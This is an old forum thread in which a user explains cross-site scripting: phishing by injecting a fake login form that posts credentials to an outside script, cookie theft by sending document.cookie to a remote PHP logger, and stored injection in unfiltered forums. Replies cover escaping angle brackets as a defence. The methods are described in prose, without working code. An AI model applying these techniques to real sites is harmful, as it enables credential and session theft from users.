Gogeta70's post on defacement and ebrizzlez's questions made me decide to write this "tutorial". So if by the time you finish reading this you feel like you've learned something, thank them, not me. I wrote a few times throughout the "tutorial" that I could elaborate on certain things, but I simply didn't want to make the post longer than it already is, so if anyone has any questions about this, you're more than welcome to ask.
With that said, I'm going to get right to it. There are basically 3 things you could do with cross-site scripting (unless I'm forgetting something).
1. Phishing
One of the easiest but also the least vulnerable would be phishing. I've had first hand experience with this, recently, at work, so I'm just going to explain what I did there. Basically, the login system that was running was an ASP script which would take the user's login information, try to authenticate it and if everything went well redirect to a page, otherwise it would display a message above the input form saying "Login Failed".
I looked in the address bar and I found the exact string in there passed as a variable to the ASP script so I changed it to something else and hit enter and nonetheless it was working just like I thought. Now cookie stealing is completely pointless unless you're logged in so I couldn't use that, nor could I inject code because it wasn't something that would stay somewhere in a database, it was simply the string that would be shown before the login form.
What I did do was remove the "Login Failed" from there and recreated an exact copy of the login form, but which would simply submit the login information to a PHP script outside. Now the problem you may be facing if you're doing this is you'd end up with 2 login forms (the one which replaced the "Login Failed" text and the one which was initially there), which would give it up. So I simply invalidated the rest of the page by adding <s-c-r-i-p-t> (modified due to board filtering) at the end. Browsers would usually tell you that there's been an error with the script they are trying to run, but they will never stop you from using the site, so it obviously worked like a charm.
And a little disclaimer here: I did not use this to phish employees information. It was simply to see whether it could be done -- and it was.
2. Cookie Theft
This sounds like something the Cookie Monster would do. This works pretty much with both phishing and code injection. Since I covered phishing a moment ago, I'm not going to go into detail about how you can do this, but it's simply a matter of sending the JavaScript document . cookie (modified due to board filtering) object to a remote PHP script, which would either log it, either, if you like to do something smart, automatically use that cookie as soon as it receives it by going to the site the cookie is coming from and setting it's cookie, the cookie received.
Smart sites would be made to delete the cookie as soon as the Log Out / Sign Out button is pressed, but often people just close the browsers rather than click Log Out first. Also, many sites have the Remember Me option which is a problem, because unless you use Log Out / Sign Out, the cookie will be valid for a certain period of time (weeks, months), allowing an attacker to use the cookie at his discretion. Major sites found a way around that and cookie theft would not work for them, but an explanation of the methods they use is beyond the scope of this.
Finally, how do you get the script to someone? Like I said before it could be sending someone a link to a site which takes the page's document . cookie (modified due to board filtering), or injecting undetectable code somewhere on the webpage. For example, a forum made by someone, which does not do input validation. You make a random thread somewhere on the website, write whatever you want, and below the text you write HTML/JavaScript code. The forum grabs the message and writes it to its database. When someone visits the site the forum system grabs the text from the database and plugs it into the HTML file that your browser receives and as the browser goes through everything, first it displays the text that you wrote on the new thread and then comes across HTML/JavaScript code which it takes as part of the webpage code and interprets it, rather than display it as you wrote it.
3. Code Injection
Last technique you could use with cross-site scripting vulnerabilities is code injection. I already wrote a basic explanation of how it works, above. It is basically something that applies to forms which are used to writing the data to either a database or a file and which will later on be read through the browser. So one situation would be forums, where the post is written to the forum's database and another would be a website where the data is written to files rather than databases, for whatever reasons it needs to. There may be other ways, but in all the cases of code injection, the data needs to be written somewhere where it will later on have to be read through a browser.
What can you use code injections for? It can be used for anything from pranks to virus spreading. A lame example for pranks would be making a loop in JavaScript which would keep popping up alerts with a message for someone. And in serious cases, code could be used to exploit a new vulnerability found in a certain browser, which may give the attacker the ability to spread viruses or install trojans on the target machine(s).
Cross-site Scripting (XSS)
Cross-site Scripting (XSS)
Last edited by BluePass on 05 Jul 2007, 14:02, edited 1 time in total.
Hehe, thanks! Thanks for letting me know why I wasn't able to post. Without that, it wouldn't be here. 
Isn't there a way to turn the board's HTML off, though? That way you probably won't have trouble from JavaScript either. It's a tiny little thing that would make the greater than and less than signs to be replaced by < and > when the post is displayed.
Isn't there a way to turn the board's HTML off, though? That way you probably won't have trouble from JavaScript either. It's a tiny little thing that would make the greater than and less than signs to be replaced by < and > when the post is displayed.
Well, I'm here to help.
Basically if someone tried to inject code into a post, if the PHP script (either when it writes to the database, either when it displays) replaces the greater than with > and less than with < there's no way anything between them can be interpreted as tags, because in the HTML that is being sent to the user they are in the > or < format. The only other possibility might be submitting them URL encoded through the address bar, but I'm pretty sure that only applies to the URL and by the time it reaches the PHP script it is in their less than/greater than format.
Let me know how it goes. If you need any help, I'm here.
Basically if someone tried to inject code into a post, if the PHP script (either when it writes to the database, either when it displays) replaces the greater than with > and less than with < there's no way anything between them can be interpreted as tags, because in the HTML that is being sent to the user they are in the > or < format. The only other possibility might be submitting them URL encoded through the address bar, but I'm pretty sure that only applies to the URL and by the time it reaches the PHP script it is in their less than/greater than format.
Let me know how it goes. If you need any help, I'm here.
